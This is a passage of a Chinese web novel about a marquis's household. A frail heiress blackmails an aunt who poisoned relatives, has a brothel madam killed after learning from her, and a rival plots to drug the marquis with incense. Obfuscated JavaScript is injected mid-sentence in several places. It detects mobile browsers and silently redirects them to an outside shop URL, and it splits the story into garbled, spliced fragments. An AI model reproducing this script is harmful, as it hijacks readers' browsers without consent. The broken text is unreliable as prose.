玉怜脂歪着头，像是觉得她的问题好笑：“婶婶好奇怪，分明应当我来问您要做什么。” “怜脂，方才你是昏了头了吧，”高眉湘深吸一口气，冷笑道， “有些事，若不该管的非要插一手，伤人伤己，你身子不好，可不要思虑太重伤了寿数。” 这话极重，算是诅咒了，也是明晃晃的威胁。 玉怜脂却毫无惧怕之色，笑容浅浅： “婶婶杀夫毒子，死后要入阎罗地狱受尽极刑，不想着自己折了阴寿如何弥补，却来为我的寿数忧心，婶婶当真是疼爱我啊。” 高眉湘此刻心中骇然无比。 眼前的少女依旧是完美的乖巧笑容，说话时柔而轻，若单只听她语气声音，完全想不到她锋芒锐利，城府幽深。 本以为是落魄无害的雀，没想到是狡诈嗜血的狐。 “你商贾出身，不识规矩，可知道在这深宅高门之中，胡乱说话，攀诬长辈，是要命的。”高眉湘恨道。 “乱说话？”玉怜脂握着手炉摩挲，“婶婶，是要我将那香囊里的东西一并摆到主院去，给深叔瞧瞧么？” “身屠油，这样难得的东西，婶婶也有本事拿到，莒菏高氏，果然名不虚传。” 高眉湘几乎要将银牙咬碎：“你！” 玉怜脂直勾勾地看着她，说道：“我奉劝婶婶，不要不识好歹，嫣儿霖儿的旧香囊已经被我换掉了，而滨叔受那香毒害半年有余，如今才会骤然病倒，铁证如山，容不得你不认。若是事发，婶婶你本就命不久矣，一人死了也不打紧，可婶婶娘家是否担得起镇北侯的雷霆之怒呢？” “莒菏位于大昀西境，高氏盘根莒菏多年，婶婶若没有娘家助力，如何从关外拿到如此之多的身屠油。论起来，婶婶是主谋，高氏一族就是帮凶。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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光凭玉怜脂自己，恐怕没法轻易抹杀所有痕迹，但若是高大夫人也出手，事情便妥当了许多，到底她做了这么多年的大房主母，还是有一定的掌控力的。 高眉湘却眼带警惕：“你为什么要帮我？你想要什么？别告诉我，你是知恩图报。” “婶婶真是明白人，您也说了，我是商贾出身，商贾自然不会做赔本的买卖。”玉怜脂笑着说， “冬祭盛事，我位卑言轻，怕是无福前去，还要婶婶助我。” 高眉湘心弦紧绷：“你到底要做什么？” 玉怜脂垂下眼：“婶婶只管带我去冬祭就是，到时候听我安排行事，放心，我要婶婶做的事，一定都是不为难的事，我只是不想孤孤单单地在这府里闷着，想去凑凑热闹罢了。” 高眉湘瞪着她，看起来完全不相信她的话：“只是如此？” “婶婶不用这样看着我，到时候您便知道我说的不为难是真的。”她说着，转身欲走， “你若帮我，这府里就风平浪静，若是不肯，休怪我翻脸无情，横竖我是救人，你是害人，一朝事发，只有你和你的族亲担罪。” 她行出几米，忽地脚步又顿住，沉默许久，问道： “高大夫人，滨叔方氏暂且不论，嫣儿霖儿哪里对不住您，您要把毒下在他们的香囊里？” 高眉湘怔住了，过了小半柱香，最后喃喃道：“……有一天我去看他们，他们管方氏叫……娘。” “原来如此。”玉怜脂了然轻叹，推门出去。 她离去后，屋中空空荡荡，陈妈妈小心翼翼走进来：“夫人……” 高眉湘却没有理她，目中空茫，枯坐着。 “哪怕你愿意让他们多来我这里一些，你也不会中毒这样深……” “让我的孩子管她叫娘，你死也不冤……这是你欠我的。” 女人的轻语飘荡着，不知道在对谁说，慢慢回归虚无。 22. 讲究 玉怜脂出了高大夫人处，又拐去谢文霖谢文嫣的住处。 谢文嫣看见她来自然是高兴万分，谢文霖则是坐在一旁红着脸不大说话。 “……我去看过你们母亲了，她身子不大好，现在你们父亲又病了，她一个人撑着总是吃力，你们要多去瞧瞧她，好吗？”玉怜脂摸摸谢文嫣的脸蛋，轻声说。 谢文嫣点头：“玉姐姐放心吧，我们都明白的。” “好，”玉怜脂柔声道，“你们先前的衣物香囊什么的，都让人拿去蒸煮过了，我去府里大夫那边问了药方，制了防疫的香，换到你们的香囊里，如今不比平常，还是熏些药香对身体好一些。” “若有什么事，到珠玉院找我就好，我也会时常过来看你们的。” 谢文嫣只觉得眼前的人温柔可亲得像天上下来的仙子，感动得抱住她：“玉姐姐……” “乖啊，一切都会好起来的。”玉怜脂拍拍她的背。 * 主院。 忠伯入了书房，垂首向上座的男人禀报： “侯爷，珠玉院那边派人来请示，说玉姑娘放心不下西院大郎君，但又不能亲自侍奉长辈身边，所以调派了玉氏医馆中的两名专精治疫的大夫，想让他们与府里其他请来的医官们一起去西院研究疫症。” 西院病倒的人实在太多，但府中常住的几位大夫还要顾着府中其他地方，不可能全部派去西院，所以从府外请了不少人。 谢砚深手中湖笔一顿，抬眼：“玉氏的大夫？” “是，奴才已经派人去查过了，这两个大夫都是两江人士，来京城已经两年多了，的确是治疗时疫的好手，在京中也算是有些名望。”忠伯说。 谢砚深默了片刻，道：“那就让她送来吧，去西院那边的医官全部都要盯紧，不能有纰漏。” 忠伯：“是。” * 玉怜脂盖着狐皮软毯，发髻解开尽数披散肩背之后，旁边檀木小桌上放着油灯，暖光幽幽。 “主院那边怎么说？”她垂首翻着手上书页。 关嬷嬷站在小榻前，低声回话：“侯爷已经准了，姑娘放心，那两个都是段大掌柜的徒弟，有他们在西院那边盯着，必定稳当。” “嗯，那就好。”玉怜脂握笔在书上批注，说，“滨叔辛劳多年，是要好好修养的，能休息多久，便让他休息多久吧。” 一来，慢慢解毒，二来，不要坏她的事。 “对了，”她抬起眼，看向关嬷嬷，“阿姊出府去了，等她安排好事情之后回来见我，我有事与她相商。” “头等的大事。”她嗤笑一声。 ———— 京城南，药玉堂。 深夜宵禁，整座医馆静谧无比。 段素灵站在院中，从袖中拿出巾帕，不紧不慢擦着手。 倒在地上的十二人有的被抹了脖子，有的已经服毒自尽，还剩三人被捆住，下巴卸掉，此刻满头满脸都是血。 “大掌柜，已经搜过他们的身了，没发现什么东西。”药堂伙计走近禀报。 段素灵眼中淡淡：“搜与不搜，都一样。” 黑夜入玉氏联络的地方杀人，还带了火油预备着焚尸灭迹，凶手还能有谁。 护国公府杀势汹汹，毫无顾忌。 段素灵走到那三人面前，冷笑一声：“国公府第一次出手就是这样的手笔，果真狠辣。” 地上三人怒视身前的白衣女子，杀气只余还有惊惧。 他们是护国公府豢养的死士，虽不是最拔尖的那一批，但也少有失手，大小姐派他们料理此事，原本想着能利落了结，没想到， 竟然败于一群江湖武师之手。 段素灵冷眼看着地上三人，四周站满玉氏武师，原本论起功夫，商贾养着的武师是不及这群训练有素的杀手的。 只不过药玉堂内布满机关暗毒，段素灵武功不俗，两相配合，转败为胜。 “带下去用刑，天亮前若是审不出来，便不用审了，”段素灵偏首向身后的人吩咐，“料理得干净些，扔到猪溷里去。” “是，大掌柜放心。” ———— 段素灵带着两名药玉堂的大夫回了镇北侯府，入府后直奔西院处，两名大夫蒙好面，又在院门外熏过艾叶，打开药箱让府内守卫查验。 这两人一名张风，一名钱庆，都是年轻男子。面容不起眼，但老实肯学，故而被段素灵收为学徒，行医怀揣仁心，时常为贫苦人家进行义诊，风评极好。 “进去之后，尽心些。”段素灵道。 “师父教诲，不敢忘记。”张风，钱庆拱手向她拜别。 “去吧。” 看着两人入了西院，段素灵转身随珠玉院来接的下人回去。 “碰！”玉怜脂猛地站起身，掀翻了桌上的茶杯。 “阿姊，你，你有没有事？”她拉起段素灵，左看右看，“受伤了吗？伤在哪里？要不要紧？” 段素灵由着她扯着自己转圈，被她连珠炮一样的问绕得脑袋疼。 “姑娘，没事，只是药玉堂里的人难免伤了几个，”段素灵把她按坐下来， “先前早就料到那些人肯定会有所行动，所以提早布置了，否则恐怕还真要被一网打尽，姑娘之前不也嘱咐过了要小心么，有惊无险便罢了。” 玉怜脂深叹一声，坐着扶额：“他们绝不会只下手一次，还得再防备着。” “姑娘无需操心外头的事，自有我在，但，姑娘要去冬祭，一旦出了这侯府，便是杀机重重。”段素灵面色凝重。 冬祭盛事，护国公府自然是不会缺席的，吴府、柳府不知在不在名单里。 真皇山地势特殊，届 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991713|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时所有人都会进入行宫内，行宫不比侯府之内，人多，事杂，玉怜脂身处其中，难保没有人趁机杀她。 “兵来将挡水来土掩，事到其间，道在人为。”玉怜脂倒是不愁这个，关嬷嬷给她换了新茶水，她拿着慢慢喝， “将来的事，只能预防着，谁又能真的算准每一步呢。” 段素灵点头：“想来镇北侯权势正盛，有侯爷在，那些人也会忌惮一些。” “是啊，权势正盛。”玉怜脂垂眸轻笑，“别说这府里，哪怕是朝中，忌惮畏惧他的也是大有人在吧。” 段素灵：“听说，高大夫人已经去润安堂向老太君求了，替谢滨大人去祖祠祭拜，又说自己身弱难免吃力，要带上姑娘陪伴。” 玉怜脂：“若不是因为惧怕深叔，我这位婶婶，动作也不会这样利索。” “我原本以为，高大夫人不会这么快就屈服。”段素灵道。 “为着母家，她当然会，”玉怜脂轻声道，“若她推三阻四，那西院的大夫就会多诊出些真东西来，她可不得不怕。深叔若是知道了什么，高氏一族的下场可不会太好看。” 段素灵沉默片刻，沉声：“我听闻镇北侯当年反击外敌，战胜之后下令坑杀了数万俘虏，又将几个小国的皇族枭首祭旗，至今都挂在风峡关城墙之上，以作震慑。关外众国元气大伤，至少三十年内是不会再有进犯之力了。” “……杀伐无情，剽悍鸷猛。平日里看着深叔，只觉得他是肃正君子。”玉怜脂低声道。 段素灵凝神看她：“姑娘，此时若是回头，还……” 玉怜脂打断了她：“阿姊帮我寻个人来吧。” “什么人？” “房中事，闺中乐，也是一门讲究。”少女目中浅淡，唇角轻勾，“去寻个精通此道的人来，若是不学不知，到了紧要关头，难免惊惶坏事。” “阿姊不也说了，镇北侯非寻常男子，我身子不争气，不早做打算，如何应付得来。” 段素灵瞪大了眼，只觉得一口气梗在胸口。 玉怜脂却不管她，自顾自接着说：“别找那些含糊不清纸上谈兵的，要找，就去找会真本事的。” “……真本事，那，就只有那些腌臜地方才有了。”段素灵深呼一口气。 青楼，妓院，暗-娼窟。 那种地方的妇人，越会真本事的，越会调-教人的，手上越不干净，沾过人命的比比皆是。 “那就要个本事最大，手上最不干净的，”玉怜脂靠近她，直勾勾， “如此，之后清理起来也不算伤了天理，反而为民除害。” 只有死人才能保守好秘密。 但若是杀了无辜的人，到了地底下，阿爹阿娘肯定不肯见她了。 索性找个本就该死的人来杀吧。 段素灵垂着眼，没有说话。 23. 鸨妇 玉怜脂推开窗，屋外雪白一片，日光撒下来，晃眼的亮堂。 她是不宜吹寒风的，但是北地的雪景她来京之前从未见过，新奇得很，怎么看都看不厌，赏景许多天都不觉得腻味。 段素灵推门走进来，顿觉丝丝寒意袭来，但看见床边少女笑着探出手接雪的样子，又不忍直接上前打断她。 屋里烧着炭火，又通了地龙，窗开着房中却还是暖热的，纵容一回也不大要紧。 玉怜脂自然感觉到了身后的动静，抖落手上的白雪，回过头：“阿姊怎么净站在那，过来呀。” 段素灵走过去，单膝跪在榻上，探身抬臂，合上窗。 “阿姊来了，是找好人了吗？一定要精通房中术的那种哦。”玉怜脂笑眯眯地问。 段素灵站直身，低头对上少女毫无羞怯之意的双眸，只觉得头疼。 她家姑娘年岁不大，以前活脱脱就是个乖顺的娇娇女儿，待字闺中，连粗俗一点的话都听不得的。 她还记得，玉怜脂十二岁那年，在玉氏老宅里撞见过小厮丫鬟不检点，青天白日就按耐不住，在园子里随便找了颗树，竟然站在树后就开始又摸又亲的，已经到了脱衣垮裤缠麻花的阶段了，稍微走近些就看得见一大片白光光。 当时玉怜脂被那小厮的粗话和那丫鬟的尖叫吓得晚上发了一夜的低热，醒来还战战兢兢地问“那是什么，好可怕”。 段素灵当时也在场，看着她流泪害怕，心疼不已。 …… 谁知道原来都是装的。 “……姑娘，”段素灵眼神复杂，“您什么时候开始知道这些事的？” 玉怜脂抬手轻捂着唇，眼睛滴溜溜地转，最后垂眼笑：“嗯……约莫十岁之后吧，就是，先看了些书，后来又看了些图。” 段素灵瞪着眼，声音都抖了一些：“哪来的？什么书，什么图？” “城里的书斋里有不明面卖的东西、家里的小厮丫头也收着点私藏、还有我找人偷偷去寻的……”玉怜脂掰着手指数。 最后来了一句：“也不是什么坏东西呀，就是些春宫罢了，还有什么《素女经》、《玉房秘诀》……写的还挺有意思的呢。” 段素灵僵在原地，差点就一口气没上来撅过去了：“你，这……！” “阿姊可真是老古板，”玉怜脂看见她这副样子，撑着下巴笑，“阿爹阿娘就我一个女儿，当时我想着，将来我是要招赘的呀，这种事何必避讳。” “《素女经》有言，凡人之所以衰微者，皆伤于阴阳交接之道尔……不知之者，身命将夭，何得欢乐，可不慎哉！寻常人尚且如此，更何况我本就身弱，房中事若是做起来不得其法，可是会要命的。” 段素灵扶额，总是说不过她，只好答她之前的问：“……已经找好人了。” “哦？是什么人呀？”玉怜脂问道。 “我着人去那些地方埋伏了几日，花了银钱下去买消息，说是前段时日，京城里的暗-娼窟里突然多了不少鸨妇龟公，不知道是哪里流出来的，身份似乎都不干净，来路也不明，手段却是高超狠毒，调-教起人来一个顶原先的五个，那些经营窑窟的也就把他们收着了。”段素灵沉声道。 “这些人根基不稳，想必急需钱财，所以我便按着姑娘的要求让他们挑了一个，选中了一个叫愁娘的老妇，说这个老妇是人见愁，鬼见愁，极精于男女之道，花样百出，但是……”段素灵顿了顿，才说， “她手上的人命绝对不少，单只新到这窑窟里的短短时日，这老妇便肆无忌惮，仗着得用，折磨那些年岁老了接不到客的女子，残了三个，死了一个，这京城里的鸨妇都极少有这样心智扭曲的。” 玉怜脂眼中冷光幽幽，轻声道：“如此，便是血债累累了。” “是。” “很好，”玉怜脂浅笑，“那就她了。” “我只学三日，三日后，阿姊便送她上路吧。 ” * 距离冬祭还有十日，珠玉院得了玉怜脂要随行去冬祭的消息，也开始准备。 这就免不了要采买许多东西。 珠玉院的玉氏旧仆被管事的关嬷嬷派出去采买，而珠玉院主子姑娘身体不好，便在房中闭门修养。 外头天寒地冻，段素灵领着采买的下人，套了马车才出门，离了镇北侯府这条道，拐个弯，停在一座窄小隐蔽的小院。 帘子掀开，蒙着面的段素灵先一步下了马车，又回身将车中身着婢女服饰，帷帽半遮身的少女扶下来： “姑娘小心。” 玉怜脂抬手轻挑厚纱，露出一缝，看着眼前打开的的窄木门。 这是间两进的院子，玉氏名下的房产，门口守着两个武师，院子里面也有几个。 “走吧。”她放下遮面白纱，扶着段素灵的手朝里走去。 院子在外看着不大，实则寝屋宽敞得很，寝屋中间有一扇巨大的雕花漆木屏风，屏风一人高的地方，开了几个小洞。 这扇大屏风将房间一隔为二，东面是紧密的帘帐，屏风紧贴帘帐摆放，落地纱帐之后独成一个小空间。 而西面摆放着桌椅、床榻、浴桶，还有一片地方，地上铺了毛软毯子，放着好几个软枕。 段素灵先将玉怜脂带到房中东面，让她隐于东面的珠帘纱帐之后，随后出了房门，拐去另一个被守着的屋子。 这样的布置是除了能不暴露玉怜脂的一丝一毫，也能让那个叫愁娘的鸨妇少些戒备。 那种地方的人最明白一个道理——知道的越多，死得越快。而若是办事的时候主家什么都不让你知道，反而代表你能活。 就像匪徒劫财，若是不蒙面，多半是打着害命的心思，若是遮遮掩掩，一般来说拿了钱就了事。 段素灵付了足足一千五百两的定银，又将教习时绝不露面的一应事情说了，将来银货两讫各不相干，这鸨妇才放松警惕，应允前来。 玉怜脂站在帐后，过了不久，听见房门再度被推开的声音，这一次她清楚地听到好几个人的脚步声。 她没有动，段素灵走近屏风处，低声：“夫人，人来了。” 这是他们早就商量好的，在这里，她是嫁为人妇不久，却被夫君厌弃，想要寻求灵方秘法的年轻妇人。 玉怜脂抬起手，贴着纱帐轻扣两下屏风，表示让他们继续。 “夫人，老婆子有礼了。”随后，一道堪称黏腻如蜜的女声响起。 女声口称老妪，却完全不像这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话音落下，愁娘旁站着的年轻女子便偃卧向上，而那男子伏了上去，两人已经开始活动。 “这便是第一式，龙翻！”鸨妇站在一旁，手中执鞭，“夫人可要看仔细了，如何能不伤，如何能寻乐。” 玉怜脂站在屏风之后，看着榻上那两个人，沉默片刻，抬手，敲了两下屏风。 ———— 此后一连三日，房中幽秘玉怜脂在这小院之中看了个遍，从一开始的惊心，到之后平静。 彻底结束的那一晚，玉怜脂坐在房里，段素灵站在她身边。 “事情都办妥了么？”她有些发愣。 段素灵感知得到她心绪不宁，低声回话： “姑娘放心，那个鸨妇已经料理了，伪作她赚足了钱私逃不再回窑窟里的样子，那些管控的头子也没办法追查，至于那两个跟着愁娘演示房术的妓子和娈男……” “已经按照姑娘的意思，赎出来给足了银票，送出京畿了，一路到两江，那两人受恩发了毒誓，绝不会走漏半点风声，南边有我们的人盯着，一切妥当。” 玉怜脂垂眸：“……那就好。” 24. 螳螂 腊月时节，霜雪纷飞，京城大道全部连夜清扫干净，蜿蜒长龙一般的禁卫军队从大开的宫门中行出。 金甲拥簇之中，明黄色的龙辇徐徐前进，龙辇之后是同色凤辇，再次便到各宫嫔妃、皇子公主的车驾，随行太监宫女等总计不下千人。 京都高耸城墙之上大旗扬舞，禁军护持皇族出城之后，各公府、侯府等有爵家族、功臣府邸队伍方才开拔，其势摇山振岳，街道两旁人户百姓环集，尽皆屏声静默观望。 镇北侯府的车队排序很靠前，谢砚深和王老太君的马车打头，高大夫人带着龙凤胎居中，玉怜脂则独自一辆马车行在末尾。 她今天乘的是四驾的马车，好马脚程快，车厢也极为宽敞，厢内现下有四人。 关嬷嬷和段素灵陪在玉怜脂两侧，而车厢另一端还坐着一个墨蓝衣裙的年长婢女,容貌端丽，神色严肃。 “还劳烦蓝蕖姐姐来这一趟，姐姐回去定要替我向太夫人道谢。”玉怜脂浅笑着说，马车外冬雪冰冷，她说完轻咳了两声。 蓝蕖看着眼前细弱纤丽的少女，没有因为她的好言好语而和缓眼神，只是冷冰冰地说： “玉姑娘能跟着来这一趟是天大的福气，这都是太夫人的恩典，姑娘知恩图报，自然是好的。” “只不过，太夫人吩咐了，姑娘来京不久，许多规矩没有学过，冬祭是何等大事，若是姑娘不慎，行差踏错半点，都难免会连累侯府，所以派我来教导姑娘，姑娘可得好好学着。” 她的语气十分不善，看玉怜脂的眼神也是毫不掩饰的亵慢。 段素灵和关嬷嬷的眼中都是微微闪动，唇角隐约压低。 但玉怜脂自己却毫不为所动，依旧好声好气，甚至说起话时颇为低微： “姐姐说的是，我能来都是太夫人和高婶婶的恩泽，我小门户出身，素来没什么规矩，冬祭这样的大典，我……姐姐别笑话我，我从前听都不曾听过的，也怕到时候露怯出丑，伤了侯府颜面，姐姐来教我，我一定好好学。” 蓝蕖看着她低眉顺眼的怯弱模样，柳眉轻挑，心中愈发有些瞧不起她，但说话的口气却好了一些： “姑娘如此懂事，太夫人也会放心的。” 玉怜脂点点头，轻声道：“请姐姐指教。” 蓝蕖偏身，端起身旁小几上的茶，不紧不慢地饮了一口，才开口： “我临来前，太夫人与我说了最要紧的几桩规矩，姑娘需请牢记。” “这第一点，姑娘身份不便，因此到了真皇山行宫之后，便请姑娘在大夫人房中伺候即可，如无必要，最好不要外出，即便要出去行走，也得报备过，这一点，过后奴婢也会到大夫人那里，向她禀明的。” 这是要高大夫人看着她、拘束她的意思。 玉怜脂笑容不变：“我也正有此意，横竖有高婶婶在，太夫人请放心，我必定听婶婶的话。” 蓝蕖点点头，又道：“第二桩事，去了行宫之中，侯爷必定事多繁忙，姑娘若是无事，便不必去向侯爷请安了，大夫人和嫣姑娘、霖小郎君那里还请姑娘尽心照顾，莫要让侯爷分心。” “还有一点，行宫里人多眼杂，若是有人来与姑娘攀谈，姑娘最好也一概不理。” 玉怜脂眼中带有疑惑：“深叔事忙，我自然不会去扰他的，可这第三点，是为何呀？” 蓝蕖：“姑娘初来乍到，心思真纯，不知道这京城中步步惊险，保不准会有些小人借着接触姑娘，做些对侯府、对侯爷不利的事情，所以委屈姑娘了。” 少女微微瞪大了眼睛，轻捂住唇，然后有些紧张地悄声道： “借我的手，对深叔不利？” “不可能的，深叔是朝中重臣，可我与朝政什么的，毫不相干啊，怎么会有人来找我呢，姐姐莫不是吓我。” 她轻蹙着眉，神色颇为害怕，还带着一点不相信。 蓝蕖看着她，冷笑一声：“所以说姑娘天真不晓世事，若要害人，何处不能下手？侯爷尊贵，多的是小人虎视眈眈，这些人岂会拘泥于前院后宅之分，明枪暗箭……” 还没等她说完，玉怜脂便打断了她，语气震惊： “姐姐是说，有人会在后宅害深叔……？那深叔岂不是比我们都危险？” 而蓝蕖刚想接着开口，忽地又顿住，沉默了片刻，随后语气恢复平静冰冷： “……姑娘管好自己就是，侯爷身旁有护卫、医官时时跟随，无需姑娘操心。” 听到“护卫医官时时跟随”，玉怜脂眼中轻动一瞬，有些怯怯地低下头： “是我唐突了，还请姐姐见谅，我只是有些害怕……” 蓝蕖摇摇头，接着说：“姑娘，等会儿到了侯府的族地，主子们都要入祖祠祭拜，姑娘不是谢氏中人，不好进去，便在外等候，趁着这段时间，我会好好教导姑娘的。” 玉怜脂抿唇笑道：“我明白的，那就有劳姐姐了。” * 浩浩荡荡的冬祭队伍中偏前的位置，马车檐角挂着鎏金镶铜牌，上书一个“钟”字。 钟芷兰靠在软枕上，悠悠翻着书。 伺候她的嬷嬷陪在一旁，低声道：“姑娘，夫人那边来问，您的事情进行的如何了？” 钟芷兰瞥她一眼，道：“自然万事俱备。” “那到时候……”钟夫人贴身的李嬷嬷小心翼翼。 “你去告诉母亲，到时候有程亦仙打头阵，我们只要坐收渔利就好。”钟芷兰勾起唇。 李嬷嬷：“只是……亦仙小姐毕竟是……夫人的意思是，莫不如收手，换个人也好，权当亲戚一场……” 这回钟芷兰没有立刻说话，而是挑眉冷视她，直到把李嬷嬷盯出了冷汗，她才开口： “当初我与母亲提此计时，母亲不还是同意了么，如今箭在弦上，反倒开始发起慈悲了？” 李嬷嬷是一直伺候钟夫人的贴身心腹，与钟夫人同声同心，钟芷兰买通程府中人诱骗表小姐程亦仙冬祭时接近镇北侯的事，她从头到尾也都是知道的。 钟夫人的表姐夫、钟芷兰的表姨父，义远伯程协卷入了近日的一场大案，如今已是朝不保夕，安义伯府人丁凋零，空有爵位，家中子女都不成器，嫡幼女程亦仙更是出了名的愚弱。 钟芷兰冷笑着说：“此事利害我已经与母亲说得明明白白了。一石可激千层浪，这次的孤儿斗兽案牵扯到了睿王府，那些支持睿王已久的朝中大员恨不得案发当天就推出个顶锅的出来，这也是陛下的意思，处置个官员，保自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991715|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的亲儿子。谁让这么不巧，姨父就是那只不走运的替罪羔羊呢？” “姨父被弹劾，案卷入了刑部，如今的安义伯府已是涸辙之鲋，虽然如今看着还平安，实则府中早都乱起来了。” “冬祭结束就是清案之时，届时便是满族倾覆，这样的大案，定了罪，男丁斩首，女为官妓，姨母一家获罪，难道不会牵扯到我们，牵扯到舅舅他们么？如今钟府是什么境况，外祖家又是什么境况，母亲莫非不知道？” 李嬷嬷听着，垂着眼不敢多言语。 钟芷兰放下书，撑着侧额，接着说：“亦仙是个蠢笨的，能让她做那只捕蝉的螳螂，已经是高看她了。当然，她毕竟是我的表妹，等到我与侯爷重缔婚盟的时候，自然也要回头帮程府一把，她受些委屈，但程钟两府便能两全，这样不好么？” “再说了，”她的眼睛眯起来，唇轻勾， “又不是我逼她的，我只是让她的侍婢同她透个消息——若是能设计与侯爷欢好一场，结了姻缘，就能得镇北侯府庇佑，就算将来程府获罪，有侯爷保着，她照样能全身而退，不会去充作官妓，不仅能一辈子荣华富贵，还能救家族于水火之中。她自己巴巴地上钩，怨得了谁？母亲不也买通的姨母身边的人，帮着隐瞒此事吗。” 程府快要倒了，里头的下人当然不少生出了异心，此事做起来更加顺利了。 这一回，李嬷嬷彻底不敢说话了：“是……” 钟芷兰眼中的光慢慢冷到极致：“……她当年便心悦侯爷，当着我的面都毫不遮掩，我不是从来也没与她计较过么。要怪，就怪她太蠢，又太贪心，空花阳焰识不破，便也只能做棋子儿，哪配执棋呢。” 爱慕谢砚深的女子那样多，她的好表妹程亦仙也是其中一个，时至今日都没有变过。 所以从贴身侍女那里得到这个荒唐无比、不能告人，结果看起来却十分甜蜜美好的办法时，程亦仙纠结到三个晚上没睡，最后还是没有忍住。 钟芷兰很满意她的选择。 有些时候，肖想一些不该想的人，会付出代价。 那些个不能见人的药，她已经送到程亦仙手上了，价值百金的媚香，寻常大夫难以察觉，只要行宫之中寻机让谢砚深中香，程亦仙纠缠他的时候，她去美救英雄就好。 谢砚深自幼习武，内力深厚，平常的媚药对他起的效果都是大打折扣，程亦仙拿到的媚香只是一个前药，的确有让人意乱神迷的效果，谢砚深一旦察觉不对，必定会靠内力强行压制药效。 而她要的就是他强行压制。 这香的前药若是不压制，尚且还能通过耗时慢慢减退，一旦压制了，刚开始能有效果，可实际上越压制，反弹得会越厉害。 等到这个时候，她便可以去找他了，因为催发药效反弹的药引香被她留在了自己的身上。 若无意外，之后一切自然会水到渠成。 镇北侯夫人的位置便是她的了。 只要登上那个位置，她想要的权势、荣耀，都会应有尽有。 若不是谢砚深和王老太君油盐不进，她也不会行此下策，谢砚深的妻子本来就应该是她，她只是把属于自己的东西拿回来罢了。 钟芷兰目光幽深，手中轻搓着书页。 25. 冬祭 随君驾出京是清晨时分，而侯府车队抵达谢氏族地时已是午后。 凡是在真皇山附近有御赐族地的世家都有皇权特许，冬祭时可以先行入族地祭拜，然后晚一步进入行宫。 真皇山下有御赐族地的好处也不止于此，山中行宫面积虽极大，但要住下帝后妃嫔、皇子公主、随祭王公大臣及家眷，宫殿厢房也十分紧张。 伺候皇族的宫人们自然是要待在行宫里的，这就又占了不少地方，剩下大臣们家中的众多婢仆就完全不可能全部塞下了。 若是行宫附近有族地庄子在的，奴仆们便能安置在庄子里，脚程虽有些远，但也算随叫随来。 一应衣食物品冬祭前提早准备在庄子之中，但凡有什么想要的，不多时就能办好。 而绝大多数没有这份殊荣的臣属，家中小厮婢女，粗使杂役什么的便只能带着车队在行宫之外，冰天雪地里扎营了。 有些年随祭名单太长，行宫里头不够住，低位一些的臣子与其家眷也得在行宫外扎营，这也都是没法子的事。 庄门大开，看族地庄子的管事们已经在门口等候许久，迎着车队缓缓入内。 玉怜脂听见动静，但没有像以往那样开窗看看。 因为王老太君派来的蓝蕖还在继续“教导”她。 从每天穿什么衣服戴什么首饰到什么时辰去哪不去哪，蓝蕖唇舌翻张，丝毫没有停歇的意思，越说越起劲。 玉怜脂抱着手炉静静听蓝蕖说话，神色十分恭谨。 蓝蕖说累了，又喝了口茶，幽幽抬眼盯着对面的少女：“……我说的这些，姑娘可都牢记了?” 玉怜脂怔了一瞬，而后连忙点头，一副又敬又怕的样子，无不崇拜地看向眼前的年长婢女： “自然！蓝蕖姐姐费心了，我一定谨记。” ……长舌。 真是吵得她头疼。 该让阿姊用针把这张嘴缝起来才好，然后倒吊到王老太君床头去。 蓝蕖挑眉呼出一口气，满意地点点头：“姑娘识礼懂事，太夫人必会欣慰。” “到庄子了，姑娘且先去备好的厢房内休息吧，奴婢还要回去侍奉太夫人祭祖。” 玉怜脂笑着道：“好，姐姐千万别忘记替我谢过太夫人。” —— 蓝蕖走后，马车内的氛围才轻松了下来。 关嬷嬷心疼地抚了抚玉怜脂的后背： “这太夫人也真是，派这么个刁滑刻薄的来为难姑娘，姑娘颠簸了一路，就听了一路，竟然连个休息的空当都不给，姑娘的身子可怎么好……” 段素灵到没说什么，只是蓝蕖一出了马车，两指立刻就搭上玉怜脂的腕，仔细确认她有无大碍。 “确实恼人，不过，”玉怜脂勾唇轻笑，“老太君也当真聪敏谨慎，时时刻刻防着我。” 关嬷嬷：“好在现在熬过去了。” 玉怜脂却瞥了她一眼，细声说：“哪能呢。” “怎么？” 玉怜脂但笑不语，只是缓缓靠倒软枕上，闭目养神。 夜色染上天际时，关嬷嬷终于知道了这句“哪能呢”是什么意思。 玉怜脂坐在房中小榻上，一名绿裙婢女秀步轻快，走到她跟前请安：“奴婢莲芯见过玉姑娘。” “今个儿太夫人指了蓝蕖姐姐来教导我，现下又派了你来，是太夫人有什么吩咐吗？” 